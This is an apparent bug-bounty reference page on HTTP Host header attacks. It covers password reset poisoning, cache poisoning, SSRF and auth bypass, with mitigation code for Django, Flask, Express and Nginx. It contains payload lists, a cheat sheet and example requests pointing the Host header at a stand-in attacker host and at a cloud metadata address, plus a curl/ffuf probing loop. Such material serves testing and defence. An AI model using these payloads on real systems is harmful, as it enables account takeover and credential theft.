Host Header Attacks¶
Overview¶
Host header attacks exploit applications that trust the Host header without proper validation. This can lead to cache poisoning, password reset poisoning, SSRF, authentication bypass, and more.
Impact: Cache poisoning, password reset hijacking, SSRF, web cache deception, authentication bypass
Attack Vectors¶
1. Password Reset Poisoning¶
POST /reset-password HTTP/1.1
Host: evil.com
Content-Type: application/json
{"email": "victim@target.com"}
Reset link sent to victim: https://evil.com/reset?token=SECRET → attacker captures token.
2. Cache Poisoning¶
If cached, serves evil.com content to all users requesting target.com.
3. SSRF via Host Header¶
Application makes internal request to http://169.254.169.254/latest/meta-data/.
4. Authentication Bypass¶
Some apps trust localhost or internal hostnames without authentication.
5. Web Cache Deception¶
If app serves /profile (private) for /profile.css (cached), private data leaks.
Payloads¶
Basic Manipulation¶
Host: evil.com
Host: target.com.evil.com
Host: target.com@evil.com
Host: target.com%00.evil.com
Host: target.com#evil.com
Duplicate Host Headers¶
(Some parsers use first, others use last)
Absolute URL in Request Line¶
Injection¶
Port Manipulation¶
Internal Hosts¶
Detection¶
Manual Testing:
- Intercept request in Burp/Caido
- Modify
Hostheader - Check response for:
- Different content
- Absolute URLs in HTML (hrefs, src)
- Redirect location
- Email/notification content
- Test related headers:
X-Forwarded-Host,X-Host,X-Forwarded-Server
Automated:
# ffuf
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w hosts.txt
# Burp Collaborator
Host: BURP-COLLABORATOR-SUBDOMAIN
# Custom script
for host in evil.com localhost 127.0.0.1; do
curl -H "Host: $host" https://target.com
done
Tools:
- Burp Suite (Turbo Intruder, Param Miner)
hostheadercheck.py- Nuclei templates (
host-header-injection)
Exploitation¶
Password Reset Poisoning¶
Steps:
- Trigger password reset for victim
- Set
Host: evil.com - Reset email sent to victim with
https://evil.com/reset?token=xyz - Victim clicks link → attacker logs token on
evil.com - Attacker uses token to reset password on real site
Example:
POST /api/password-reset HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/json
{"email": "victim@target.com"}
Cache Poisoning¶
Steps:
- Find a cacheable endpoint (static resources, CSS, JS)
- Inject malicious
Hostheader - Poison cache with attacker-controlled content
- Legitimate users receive poisoned response
Example:
Response cached with evil.com content.
SSRF (Internal Metadata)¶
If app makes internal request: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
Authentication Bypass¶
Some apps trust localhost = authenticated admin.
Routing-based SSRF¶
Next.js image optimizer proxies request to http://internal-service/_next/image?url=....
Mitigation¶
Input Validation:
# Python/Django
from django.http import HttpResponseBadRequest
ALLOWED_HOSTS = ['target.com', 'www.target.com']
def validate_host(request):
host = request.META.get('HTTP_HOST', '').split(':')[0]
if host not in ALLOWED_HOSTS:
return HttpResponseBadRequest("Invalid Host header")
Framework Configuration:
# Django settings.py
ALLOWED_HOSTS = ['target.com', 'www.target.com']
# Flask
from flask import request, abort
@app.before_request
def check_host():
if request.host not in ['target.com', 'www.target.com']:
abort(400)
# Express.js (vhost middleware)
const vhost = require('vhost');
app.use(vhost('target.com', targetApp));
Absolute URLs:
# Don't trust Host header for URL construction
reset_url = f"https://target.com/reset?token={token}"
# NOT:
reset_url = f"https://{request.headers['Host']}/reset?token={token}"
Proxy Configuration:
# Nginx - remove/override X-Forwarded-Host
proxy_set_header X-Forwarded-Host $host;
proxy_set_header Host $host;
# Drop duplicate Host headers
if ($http_host ~ "^(.+),(.+)$") {
return 400;
}
Real-World Examples¶
Shopify (2016)¶
- Password reset poisoning via
X-Forwarded-Host - $500 bounty
HackerOne (2015)¶
- Password reset email contained
https://evil.com/reset?token=xyz - $500 bounty
Uber (2017)¶
- Host header injection → cache poisoning
- Served attacker-controlled JS to all users
- Critical severity
PayPal¶
- Login page reflected
Hostin action URL - Form submitted credentials to
https://evil.com - High severity
Hunting Tips¶
- Password Reset Flows: Always test Host header +
X-Forwarded-Host - Cached Resources: Static files, CDNs (CloudFront, Cloudflare)
- Email Notifications: Signup, reset, notification emails (check for absolute URLs)
- Redirects: Check
Locationheader for Host reflection - Internal Services: Try
localhost,127.0.0.1,169.254.169.254 - Duplicate Headers: Some apps parse first, others last
- Subdomain Takeover:
Host: subdomain.target.com(if subdomain unused) - Port Variations:
:443,:80,:8080,:@evil.com
Cheat Sheet¶
# Basic
Host: evil.com
# Duplicate
Host: target.com
Host: evil.com
# Injection
Host: target.com
evil.com
# Forwarded
X-Forwarded-Host: evil.com
X-Forwarded-Server: evil.com
X-Host: evil.com
# SSRF
Host: 169.254.169.254
Host: localhost
Host: 127.0.0.1
# Port manipulation
Host: target.com:1337@evil.com
# Absolute URL
GET https://target.com/ HTTP/1.1
Host: evil.com
References¶
- PortSwigger - Host Header Attacks
- James Kettle - Practical HTTP Host Header Attacks
- OWASP - Host Header Injection
- HackerOne Reports
Severity: Medium to Critical (depending on exploitation)
CVSS: 5.3 - 9.1 (password reset poisoning / cache poisoning)
CWE: CWE-644 (Improper Neutralization of HTTP Headers for Scripting Syntax)